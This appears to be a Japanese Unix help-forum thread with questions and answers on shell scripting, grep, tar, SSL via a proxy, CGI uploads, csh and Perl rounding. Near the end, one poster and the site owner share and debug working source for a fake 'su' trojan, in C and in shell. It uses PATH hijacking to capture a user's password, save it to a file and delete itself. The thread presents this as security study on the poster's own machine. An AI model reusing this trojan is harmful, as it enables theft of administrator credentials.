>>2888 26歳 > Only one compression option permitted 一つの圧縮オプションしか許されていない。 =複数の圧縮オプションを指定することはできない。 というわけで、Z・z・y・j などの圧縮形式を指定するオプションを、 複数個指定したのでしょう。 例えば tar zxvzf とか、tar xvZzf とか。 |
|
はじめまして、こんにちは。 環境:Redhat7.3 ログインしているユーザが、現在何処のディレクトリにいるか っていうのを調べることは可能でしょうか? 「who」のオプションであったりしますか? 宜しくお願いします。 |
|
>>2890 Bootick root 権限があるなら ps -ef eww で環境変数 PWD を見るとか、 /proc の下を覗いてみるとかですかねぇ。 root 権限がないなら無理ではないかと思います。 |
|
telnetやcgiを使って本IPをメモするソースがほしいのですが、どうしたらいいですか?それと出来れば設置方法も教えてほしいです。素人なのでまったく分かりません。PCに詳しい方、お願いします |
|
はじめまして。 先日 /dev/null が消えてしまい、少なからずシステムに影響が出てしまいました。 それまで安定稼動していたのに、何故突然消えてしまったのか原因がわかりません。サーバ上で特に作業はしていませんでした。 どなたか同じ現象に遭遇した方いらっしゃいませんか? |
|
はじめまして。 いつもお世話になっています。 Linuxにて「Proxy サーバ経由の SSL 通信」を行おうと考えております。 「ネットワークプログラミングの基礎知識」にSSL 通信の方法が 記載されていますが、Proxy 経由の方法が分からず、現在格闘中です。 Proxy サーバへの接続はできました(HTTP の通信は OK です)。 Linux & C言語の初心者で恐縮ですが、 これらの技術的なアドバイス・参考になるサイトなどがありましたら、 ご教授下さい。 よろしくお願いします。 |
|
>>2894 あきゆき 平文で、 CONNECT target.host.com:443 HTTP/1.0\r\n Host: target.host.com\r\n \r\n を送って、サーバから \r\n\r\n が来るまで読み込み (全データが到着するのを待つ)、その中に " 200 " が 含まれていれば接続成功。 その後は SSL でやりとりする、という方法で一応接続はできています。 (" 200 " が含まれていれば OK などという適当な方法以外の) まっとうな やり方は知りません |
|
>>2895 68user 早速のご返答、ありがとうございます。 ご指摘のように、"CONNECT 〜"を行い、サーバーから "HTTP/1.0 200 Connection established"という応答がきたので、 その後、下記の SSL の設定を行いました。 ---------- SSL_load_error_strings SSL_library_init SSL_CTX_new SSL_new SSL_set_fd SSL_connect←戻り値"0"が返されます。 ---------- SSL_connect で TLS/SSL handshake に失敗したので、 SSL_get_error 関数を実行すると "5"が返されました。 現在、これについて調査中ですが、原因が何か分かりますか? SSL のやりとりに問題がありますでしょうか? SSL のやりとりは、 「ネットワークプログラミングの基礎知識−SSL でアクセスしてみよう」の C言語のソースの「/* ここからが SSL */」以下と同様です。 (検証中のため、「SSL でアクセスしてみよう」と同じサイトにアクセスして、結果を得ようとしております) 何卒よろしくお願いします。 |
|
>>2896 あきゆき 先程の書込みで不足な情報を追加します。 SSL_get_error で返される値を記載します。 1.SSL_CTX_new(SSLv2_client_method()) →SSL_connect[返り値"0"]、SSL_get_error[返り値"6"] 2.SSL_CTX_new(SSLv3_client_method()) →SSL_connect[返り値"0"]、SSL_get_error[返り値"5"] 3.SSL_CTX_new(SSLv23_client_method()) →SSL_connect[返り値"0"]、SSL_get_error[返り値"5"] よろしくお願いします。 |
|
>>2897 あきゆき お手数をおかけしました。 「Proxy サーバ経由の SSL 通信」を行うことが出来ました。 Proxy サーバ経由で HTTPS サイトから下記の応答が返されました。 "You have successfully connected using SSL (SSLv2)." 先程の SSL_connect のエラー[返り値"0"]の原因は、 "CONNECT 〜"を送信後の Proxy からの応答待ちの個所でした。 ご迷惑をお掛けして申し訳ありませんでした。 ご返答頂きました 68user さん、誠にありがとうございました。 今後ともよろしくお願いします。 |
|
お世話になっています。場違いな質問だと思いますが質問させてください。 CVSでローカルでcommitすればサーバ上で自動的にupdateするようにしたく loginfoを編集したのですがうまくいきません。 質問が場違いと言ったのは、CVSサーバがUNIX系ではなくウインドウズ環境だからです。cvsntを使ってます。 いろいろ調べた結果loginfoに以下のように書けばよいとの事なんですが wincvsにてコミットするとエラーがでてしまいます。 diary (date; cat; (sleep 2; cd /home/hoge/diary; cvs -q update -d) &) >> $CVSROOT/CVSROOT/updatelog 2>&1 エラーはnot foundとCould Not Create Child Process (error 2)です。 /home/hoge/diaryや$CVSROOT/CVSROOT/updatelogな書き方がウインドウズでは適用できないと思い d:\diaryなどに書き換えても駄目でした。 具体的には loginfo: test2 (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 (test2がモジュール名、cvs_test3がupdate先フォルダでいいんですよね?) エラー: Executable (date; cat; (sleep 2; d: cd d:\cvs_test3; cvs -q update -d) &) >> d:\cvs\CVSROOT\updatelog 2>&1 not found Could Not Create Child Process (error 2) ご存知の方、いらっしゃいましたらご伝授よろしくお願いします。 |
|
自己解決(?)しました。 cvsntを利用した場合、loginfoでの自動更新はできないようです。 WINサーバの場合、cygwinを使用する方法があるみたいなので その方法を試してみる事にします。 お騒がせしました。 |
|
はじめまして。お力を貸してください。 業務用に、ファイルをアップロードするPerl/CGIを作りました。 エラーもなく動作はしているのですが、巨大なファイルをアップロードするときに、かなりの時間がかかります。 具体的には167MBのファイルをアップロードするのに約40分かかりました。 同じ環境で、同じファイルをFTP(FTP.exe)を使用して転送すると、5分で処理が終了しました。 CGIで時間がかかる原因が、私のソースにあるのか、 CGIのバッファが関係しているのか、それとも他に原因があるのか、 原因の切り分けが出来ずに困っています。 通常、CGIで100MBのファイルをアップロードしようとすると どれくらいの時間で処理できるのでしょうか? また、どうすればFTPと同レベルの処理速度に出来るのでしょうか? ちなみに動作環境はUNIX、線は100BASE、Perl5。 アップロードするCGIにはCGI.pmやcgi-lib.pl等のモジュールは仕様していません。 (それが原因でしょうか?) サーバのログには以下のように出ています。 (1)[14:17:57] "GET /xxx/ファイル入力用.cgi?flg=1 HTTP/1.1" 200 3413 (2)[14:57:11] "POST /xxx/アップロード用.cgi HTTP/1.1" 200 841 アップロードを行う(2)に処理が移るまでに、40分かかっています。 ということは、データのバッファリングに40分かかっているということなのでしょうか? |
|
友人がRS/6000でTCP/IPのパケット情報をmili sec単位で取得しそれをレポートとして出力したいんですが何か方法はありますか? |
|
こんにちわ いつもお世話になってます。 grepコマンドである検索文字列と、 その次の行を検索すると言うことは、 出来ないでしょうか? たとえば、 ファイルの中身が ------------------- aaa\n(改行) bbb\n(改行) ccc\n(改行) aaa\n(改行) ddd\n(改行) eee\n(改行) ------------------- と言うファイルがあったときに、 aaa\n(改行) bbb\n(改行) aaa\n(改行) ddd\n(改行) という結果を返して貰うことは出来ないでしょうか? 宜しくお願いします。 |
|
>>2903 tomu http://x68000.startshop.co.jp/~68user/unix/pickup?grep をご覧ください。 |
|
Dさん 見逃してました numオプション ^^; ありがとうございました。 |
|
はじめまして。 はじめてで恐縮ですが、質問させてください。 sortコマンドでカンマ区切りのdatファイルを 1番目と7番目の項目をキーに昇順、 5番目と6番目の項目をキーに降順 という並べ替えをしたいのですが、可能でしょうか? よろしくご教授願います。 |
|
こんにちは。 HPを開いているのですが質問があります。 BBSの方にアクセス制限をかけたい人物がいるのですが どう、打ち込めばよいかわかりません。 BBSを借りている所に質問したのですが なかなか返事が返ってこないのでこちらに頼ろうと思い 来させて頂きました。m(__)m どうぞ宜しくお願い致します。 その人物のホスト名は↓ FLA1Aae071.kmm.mesh.ad.jp なんですが、*.kmm.mesh.ad.jpと打つと 全然似てない私の方まで制限がかかってしまいました。 どう打てば宜しいのでしょうか? すいませんが教えてください。m(__)m あと、HPに描いた絵などを無断に使用する人物を つきとめる事等はできますでしょうか? |
|
No.2906#MATSUさん お使いの言語はPerlですか? Perlメモ http://www.din.or.jp/~ohzaki/perl.htm#SortMulti に、複数項目でのソート方法が書いてありますね。 参考になりますでしょうか。 |
|
こんにちは。 初めて質問させていただきます。 Solalisのtarコマンドでファイルをtarファイルにまとめようとしたのですが、 "ディレクトリ階層が深くダンプできません" というエラーメッセージが出てうまくいきません。 コマンド:tar cvf tarファイル ./対象ディレクトリ 対処方法を知っている方がいたら、教えていただけませんでしょうか? よろしくお願いします。 |
|
こんにちは FreeBSDで鯖を立てながら Perlで簡単なCGIを作っております 質問があるのですが BBSなどでバイナリファイルのUPLoadは どのように送ればよいのでしょうか わかる方が居りましたらお答えをお願い申し上げます |
|
突然ですが、 以前このページで紹介していたUNIX関連の本を教えていただけないでしょうか。 |
|
>>2911 take 右上にある全文検索フォームで適当な単語を入れてみましょう。 「書籍 or 本 or 出版社 or 著者 or 訳者」てな感じで。 あとは http://bookshelves.tripod.co.jp/ とか。 |
|
こんにちは。突然ですが質問させて下さい。 プロセス番号0〜2の (swapper) /sbin/init -- (pagedaemon) プロセスの役割は何でしょうか? |
|
質問いたします。下記のコマンドの条件部分($NF ~ /'"$1"')の意味がいまいち理解できないので(「最後のフィールドの中から1フィールド目の値を含むもの」というところまでわかるのですが・・・)、ご教示ください。 ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$ |
|
今更ですが、わかるものだけ回答しておきます。 >>2901 かなっぺ > ということは、データのバッファリングに40分かかっていると > いうことなのでしょうか? web サーバが全データを受信し終わってから CGI プログラムを 起動しているのでしょう。本当にそうなのかどうかは、その 40分の 間に web サーバのプロセスのメモリ使用量がどう変化しているか 観察するといいでしょう。 >>2903 tomu > grepコマンドである検索文字列と、その次の行を検索すると言うことは、 > 出来ないでしょうか? GNU grep ならできますが、僕の試した限りでは Solaris 標準の grep でこれができませんでした。何かやり方はあるのでしょうか? grep で改行コードをひっかけられば解決なんですが。 >>2910 NT > BBSなどでバイナリファイルのUPLoadはどのように送ればよいのでしょうか テキストファイルのアップロードと全く同じでいけるはずです。 >>2913 (^^) > (swapper) > (pagedaemon) スワップ制御とページング制御をする (カーネル内の) プロセスです。 > /sbin/init -- http://X68000.startshop.co.jp/~68user/unix/pickup?init をどうぞ。 >>2914 G OS のバージョンと ps -el の結果とがないと、これの意図するところは わかりません。 > ps -el | awk '($NF ~ /'"$1"'/) {print $4}' mypid =$$ awk が解釈するのは '($NF ~ /' と '/) {print $4}' だけで、$1 の部分はシェルが 1つ目の引数に置換するはずです。 |
|
>>2915 68user 情報不足で申し訳ございませんでした。しかし、私の疑問は解決致しました。 $1はフィールドではなく、スクリプトの引数を示すということですね。 ありがとうございました。 |
|
下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが,${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。 どうかご教示ください。よろしくお願い致します。 for CFG_FILE in /etc/rc.config.d/* /etc/TIMEZONE do fname=${CFG_FILE##*/} if [ -f $CFG_FILE -a "$fname" !="core" -a "${fname##*[.,~\#]}" = "$fname"] then . $CFG_FILE fi done |
|
今日簡単なタテケイの問題がありました。タブ区切りで ブック名 ファイル名 数値A 数値B 数値C ・・・ というファイルをブック名ごとにサマリーし、やはりタブ区切りで ブック名 Σ数値A Σ数値B Σ数値C ・・・ というファイルを作らなければならなかったのですが、 while(<STDIN>) { ($bname = $fname, $A, $B, $C) = split; $data{$bname}{A} += $A; $data{$bname}{B} += $B; $data{$bname}{C} += $C; } for $bname (sort keys %data) { print join, /\t/, $bname, $data{$bname}{A},$data{$bname}{B},$data{$bname}{C},"\n"; } とか書いたらどうしても数値が若干少なくなってしまいます。 数万行あって、ほとんどの行は合ってるんだけど 全体の数字が少ない、、。 しかも、カラム A と B は合ってるのに C だけ少ない。 よくよく見るとファイル名に空白が入ってて、 split /\t/ にしないといけなかったんでした。 しかも、ファイル名が空白のデータは特定のカラムにしか データがなかった。 ふつうこんな間違い方はしませんが、同時に複数の問題が 発生していて、すごくハマりました(泣) |
|
はじめまして。さっそくなんですが質問です。 掲示板CGIを改造してメール送信機能をつけたのですが、改行が反映されていなかったり、題名が文字化けしたりしてます。 ソースはhttp://www.starcity.ne.jp/~hide/0test/treebbs+.txtです。 元はhttp://www.starcity.ne.jp/~hide/0test/treebbs-.txtです。 #------------------メール送信機能-------------------------# open(MAIL,"| /usr/sbin/sendmail -t") || &error("送信できません。"); print MAIL <<"_MAIL_"; From: ars\@xx.xx To: hide_mkhs\@yahoo.co.jp MIME-Version: 1.0 Subject: A-train railway service X-Mailer: Sendmail Content-type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit 投稿がありました。 名前:$name 題名:$subject メールアドレス:$mail ホームページ:$url メッセージ:$msg --------------------------------------- 投稿者情報 IP:$ip ホスト:$host --------------------------------------- A-train railway service(http://www.starcity.ne.jp/~ars/) _MAIL_ close(MAIL); #--------------------メール送信機能------------------------# こう書き加えたんですが… いま題名はA-train…ですが、日本語にすると文字化けしてしまい、来たメールは 投稿がありました。 名前:みー 題名:新規 メールアドレス:ars@starcity.ne.jp ホームページ:http://www.starcity.ne.jp/~ars/ メッセージ:<b>タグは‥?</b>どうでしょう? --------------------------------------- 投稿者情報 IP:218.133.200.111 ホスト:YahooBB218133200111.bbtec.net --------------------------------------- A-train railway service(http://www.starcity.ne.jp/~ars/) のように改行が反映されてなく、タグもみえみえです。しかも、レスの記号をあらわす">"は>となってしまいます。 どうすればいいのか教えてください。 |
|
>>2919 みー メールは HTML じゃなくてプレーンテキストなので、 タグが見え見えだったり改行がそのままだったりするんでしょう。 HTML 形式を維持するなら HTML メールをサポートしてるメーラーに HTML 形式のメールを送ればいいんじゃないでしょうか。 (その場合ヘッダはどうなるんでしょうね。 よくわかりません。よく広告とかで壁紙がついてきたりするから、 できることはわかっているのだが、、) 題名が文字化けなのは、ISO-2022-JP を正しく読み込んで ないからでしょう。ブラウザーが送ってくる文字はさまざまなので、 jcode.pl あたりで変換するとか。 |
|
こんにちは。 ちょっとわからないことが有ります。 ご存知の方は教えていただけますでしょうか。 cshで、 set str = "abc def" (←abcとdefの間は全角スペース) echo $stf とすると、 abc def (←abcとdefの間は半角スペース) と表示されてしまいます。 なんとかsetで設定した通りに(全角スペースをそのままに)出力したいのですが、 どのようにすれば良いでしょうか? |
|
>>2921(訂正) echo $stf ではなく echo $str でした。 |
|
>>2917 G > 下記のスクリプトはHP-UXの/etc/rc.configファイルなのですが, > ${CFG_FILE##*/}と${fname##*[.,~\#]}の解読ができません。 HP-UX の sh は知りませんが、FreeBSD の sh では ${parameter##word} 最長前置パターンの削除: まず word が展開され、その結果をパターン として扱います。パラメータ parameter の左から、パターンに一致する 最長の部分を削除した文字列に置換されます。 とあるので、多分同じでしょう。 > ${CFG_FILE##*/} basename(1) と同じでしょうね。 > ${fname##*[.,~\#]}" = "$fname" ファイル名に . , ~ # が含まれていないことをチェックしている のだと思います。 こういう場合は sh -x /etc/rc.config などとして、どういう ふうに解析されているのかを調べるというのも一つの手です。 >>2921 yuk > abc def (←abcとdefの間は半角スペース) > と表示されてしまいます。 そういう処理をする csh があるとは知らなかったので、OS 名を 教えてください。で、本題ですが echo "$str" でいけるんじゃ ないでしょうか。 |
|
2923> ご返答ありがとうございました。 sh -x コマンドは初めて知りました。 これから活用させていただきます。 |
|
あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? |
|
会社で UTF-8 と Big5(台湾)の変換ソフトが必要になったので、 ローカルに Perl 5.8 を入れてみました。 (ちょっとテストで失敗したんだけど、よくわかんないので 入れてしまつた ;;;) === big5 => UTF-8 === #! perl use encoding 'utf8', STDIN=>'big5'; while (<STDIN>) { print; } というのはうまくいったっぽいんですが、 === UTF-8 => big5 === #! perl use encoding 'big5', STDIN=>'utf8'; while (<STDIN>) { print; } というのは UTF-8 側に BOM(efbbbf)があると そこがそのまま出てきます。 use encoding 'big5', STDIN=>'utf8'; を使わないで Encode の変換関数を明示的に呼ぼうと思うんですが (で、BOM はもしあったら事前にカットする) うまくいきませんでした。つたない質問ですみませんが 何かわかりましたらご教示ください。 |
|
はじめまして。 c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが, なかなかうまくいきません.どなたか教えていただけないでしょうか. ソースは以下のとうりです. #include<stdio.h> #include<stdlib.h> main(int argc, char *argv[]) { char buf[100]; sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); system(buf); exit(1); } コンパイルは通って,実行時にエラーは出ませんでした. bufに文字列はしっかり送られていました. export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で 打つと,しっかりPATHは変更されました. よろしくお願いします. |
|
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか? /HP-UX |
|
はじめまして。こんばんは。UNIXについて質問があります。 与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。 アドバイスを頂けたら幸いです。よろしくお願いします。 |
|
>>2926 ふくし すいませんが、わかりません。 # 僕の知識は perl-5.00503 で止まっているので…。 >>2927 kiki system は内部で fork して、子プロセスが sh を実行します。 > sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin"); > system(buf); によって、子プロセスが実行する sh の環境変数は変更されますが、sh は すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は 渡りません。 ではどうすればよいか、という話になりますが、 > .bash_profileのPATHを変更したいのですが, なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると 対策も見えてくるかもしれません。 >>2928 G > 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る > 簡単な方法はありませんでしょうか? こんな感じでしょうか。 % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|' /aaa >>2929 NAGISA > 与えられた引数を、そのままエコーバックするシェルスクリプト そういう場合は「エコーバック」とは言わないような気がしますが、 #!/bin/sh echo $@ とか、 #!/bin/sh for i in $@; do echo $i done とか。 |
|
>>2925 なお@HP-UX11 > あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか? ps コマンドなぞどうでしょうね。 |
|
>>2931 68userさん お返事ありがとうございます.kikiです. > .bash_profileのPATHを変更したいのですが, セキュリティに関する勉強でsuコマンドになり済ますトロイ について勉強していまして,実際に自分のPCで実験しています. suコマンドを使うユーザのアカウントを入手してあるという場合 を想定して,自分の一般ユーザ権限から自分の管理者権限のパス ワードを盗むという実験です.手順は 1.あるディレクトリにトロイをおいて 2.PATH変更,トロイ置場を先に検索するようにする. 3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに 書き込んで,トロイは自分を削除する. 4.suコマンドをもう一度実行,本物のsuコマンドが起動 です.3.の手順までは問題なく進みましたが,4.を実行すると bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが, どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています. そこで,suトロイの中でPATHを変更しようと思ったのです. |
|
>>2930 68user いつもありがとうございます。 ただ感謝と尊敬の念でいっぱいです。 また、宜しくお願いします。 |
|
>2930 さん、ありがとうございます。 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 結構面白いっぽいですよ。 (インストールで失敗してるぼくの言うことじゃないが ;;; |
|
>>2932 kiki シェルを置き換えたのか、~/.bash_profile を書き換えて 自作 su を起動するようにしたのかよくわかりませんが、 > 2.PATH変更,トロイ置場を先に検索するようにする. ができているなら、後は /usr/bin/su を起動すればいいだけ だと思います。そこで PATH が出てくる理由がよくわかりません。 >>2934 ふくし > 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、 > 結構面白いっぽいですよ。 うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと 安全になった open。 それ以外はまーいいやって感じです。 ときに our って C でいうところの int get_num(){ static int num=1; return num++; } main(int argc, char *argv[]) { printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); printf("num=%d\n", get_num()); } のような static だと思い込んでいたんですが、今 本を読み直してみると なんか違うような気も。 あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 順番を保持するハッシュ (セットした順に keys が返ってくる) って 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 見つけられない。 # キー固定のハッシュは Class::Struct を使えばいいのかな。 |
|
>>2935 68user > あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、 > 順番を保持するハッシュ (セットした順に keys が返ってくる) って > 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、 > 見つけられない。 みびょーに違う話のような気もしますが、perl-5.005_03 でも $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186]; print "$john->{eyes}\n"; print "$john->[2]\n"; てな書き方ができるんですねぇ。これは知らなかった。 |
|
すいません、今度は Perl 5.005_03 の話です ;;; 経理システムで、 ・単価はドル建てだが、セント未満の端数がありうる (1個につき 0.001 ドルとか) ・個数は「個」だが、1個未満の端数がありうる (0.1 個とか) という条件で、単価x個数=売上を、 小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、 という問題で 「100倍して int して100で割る」ということをしていました。 #! perl $tanka = 10000.88; # ドル $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 print "uriage x 100 = $uriage100\n"; $uriage = int($uriage100)/100; print "uriage = $uriage\n"; しかしこうすると、int(1000088) は 10000088 になるので、 uriage x 100 = 1000088 uriage = 10000.87 となります。もっとも手軽な回避方法はなんでしょうか。 もしお分かりでしたらご教示ください。 |
|
cshrcファイルの内容について皆さんにお聞きしたいです。 source .cshrcコマンドを出すときにUnmatchedといわれていますけど、 どこに問題があるかは良く分かりません。 cshrcの内容は以下のようになります************* # .cshrc # User specific aliases and functions # alias rm 'rm -i' alias ls 'ls --color' alias cp 'cp -i' alias mv 'mv -i' #setenv PATH "/usr/sbin:/sbin:$PATH" setenv NCARG_ROOT "/usr/local/ncarg" setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" #setenv LD_LIBRARY_PAYH "/usr/FFC/lib" #setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man" setenv PGI "/usr/pgi" set path = ( $PGI/linux86/bin $path ) if($?MANPATH ==1) then setenv MANPATH $PGI/man:$MANPATH else setenv MANPATH $PHI/man endif #setenv MANPATH "$MANPATH":$PGI/man setenv LM_LICENSE_FILE "$PGI/license.dat" setenv MANPATH "$PGI/man:$NCARG_ROOT/man" set prompt='[%n@%m %c]#' ***************** どこが間違っているでしょうか。 よろしくお願いします。 |
|
>>2937 ふくし sprintfは? |
|
>>2938 初心者 この書き方は出来るのかな??複数行にわたるクオート setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3 :/home/hongbin/rams4.3/chq1/plvrams:$PATH" |
|
>>2937 ふくし 勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、 こういうときの常套手段を知らないので、しばし傍観。 >>2938 初心者 csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ (あるいはマウスでコピペ) しましょう。どこに問題があるのか わかります。 |
|
>>2940 名無し さん、ありがとうございます。 sprintf は四捨五入なんですね。 ということはあらかじめ 0.005 を引いておけばよい? −−−−−−−−−−プログラム−−−−−−−−−−−−−−>8 #! perl while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 $uriage = $uriage100 / 100; $uriage = sprintf "%.2f", $uriage; print "uriage = $uriage\n"; } −−−−−−−−−−プログラム終わり−−−−−−−−−−−>8 実行結果。 > keisan tanka = 10000.88 uriage = 10000.88 tanka = 10000.881 uriage = 10000.88 tanka = 10000.882 uriage = 10000.88 tanka = 10000.883 uriage = 10000.88 tanka = 10000.884 uriage = 10000.88 tanka = 10000.885 uriage = 10000.88 tanka = 10000.886 uriage = 10000.88 tanka = 10000.887 uriage = 10000.88 tanka = 10000.888 uriage = 10000.88 tanka = 10000.889 uriage = 10000.88 なんかできてるっぽい、、? __DATA__ 10000.88 10000.881 10000.882 10000.883 10000.884 10000.885 10000.886 10000.887 10000.888 10000.889 |
|
>>2942 ふくし これなんかどうでしょうね。 http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5 > $uriage = $uriage100 / 100; 最後に 100 で割るのがなんかおそろしいなぁ。 値によっては循環小数になったりしないのかな。循環小数になっても %.2f してるから OK? |
|
すいません、お騒がせしております ;;; 100 で掛けたり、割ったりしているのは、 int を使いたかったからで、 sprintf を使っている以上、必要ないですね。 (切り捨ての場合) while (<DATA>) { chomp; $tanka = $_; # ドル print "tanka = $tanka "; $tanka -= 0.005; # 切り捨てたいから $kosuu = 1; # 個 $uriage = sprintf "%.2f", $tanka * $kosuu; print "uriage = $uriage\n"; } 四捨五入の場合は 0.005 を引くのをやめるとか。 |
|
だめでした ;;; sprintf "%.2f", $a; に、$a に 10000.005 を渡すと、10000.00 になります。 (環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03) しょうがないので . で split して、、いろいろしようと思います ;;; ちなみに 68User さん、BCD というのはモジュールありますか? CPAN で検索したら EBCDIC_convert なんとかというのしか 見つかりませんでした ;;; |
|
一人で駄投稿を繰り返して大変申し訳ありません。 けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、 変数をすべて Math::BigFloat にしました。 なんとなくできているような気がしますが、 これぐらいの時間帯になってくると 「いったい何ができてるってことなのか」わからなくなってくるので ;;; 明日また考えます。X68000 さん、名無しさん、ありがとうございました。 何かありましたらよろしくお願いします。 |
|
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;; |
|
>>2947 ふくし もう解決してらっしゃる様ですが、最初のソースの $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍 を $uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍 みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で 適当な数字を足してやると良いんじゃないでしょうか。 端数の発生しない桁が決められない場合はダメですが・・・。 #ぱっとみて思いついただけなんで全然的外れかもしれません |
|
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。 よろしくお願いします。 |
|
解決しました。 |
|
>>2945 ふくし > ちなみに 68User さん、BCD というのはモジュールありますか? binary decimal で検索したら、これがひっかかりました。 http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm |
|
>68userさん,お返事が送れて申し訳ありません.kikiです >> 2.PATH変更,トロイ置場を先に検索するようにする. >> ができているなら、後は /usr/bin/su を起動すればいいだけ >> だと思います。そこで PATH が出てくる理由がよくわかりません。 たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド を打ち込むと,本物のsuが問題なく立ち上がるのですが, bashの場合,suトロイが動いた後にsuコマンドを打ち込むと, bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない といわれてしまいました. suトロイは消えていたので,本物のsuを探しに行ってくれるはずな のですが,どうやら本物のsuを探しにいってくれないようなのです. もちろんPATHは本物のsuにも通っています.そこで, suトロイの中でPATHを変更しようと思ったのです. こちらも理由を考えていたのですがわかりません. バージョンは bash-2.04-1v14です. 何か,こころあたりがございましたら, 御教授願います.よろしくお願いします. |
|
>>2952 kiki 具体的に何をやっているのかが全く見えないです。遠回しな 書き方をしないでスクリプトを提示するなりしてください。 なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では 成功しました (意図通りの挙動かどうかはわかりませんが)。 bash-2.05$ PATH=.:$PATH bash-2.05$ cat su #!/bin/sh echo -n "(Trojan su)Password: " stty -echo read a stty echo echo "" echo "Sorry (Your password [$a] is captured!)" mv su su.bak bash-2.05$ type su su is hashed (./su) bash-2.05$ su (Trojan su)Password: Sorry (Your password [hoge] is captured!) bash-2.05$ which su /usr/bin/su bash-2.05$ su Password: Sorry |
|
>>68user様 お返事ありがとうございます.kikiです. 申し訳ありません.トロイのソースを書き込ませていただきます. cで書かれたトロイを使っています. トロイの置き場所は /home/koko/.oite です. #include <stdio.h> #include <stdlib.h> #define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[40]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS,"w"); fprintf(fd, "pass: %s\n", key); fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm /home/koko/.oite/%s", argv[0]); system(buf); exit (1); } よろしくお願いします. こちらでも引続き原因を調べてみます. |
|
>>2954 kiki つまりやってることは >>2953 68user のスクリプトと同じなわけで、こちらで実行すると 2回目の su で /usr/bin/su を実行してくれました。 ということは bash が原因なわけで、ハッシュテーブルを再構築 しない設定になっているのでは、などを疑うべきなんでしょうけど、 bash は使ってないのでよくわかりません (勝手にハッシュテーブル 再構築してくれるんじゃないのかな?)。そこらへん何か設定がある んでしたっけ。 あとは bash の最新版を入れてみるとか。 |
|
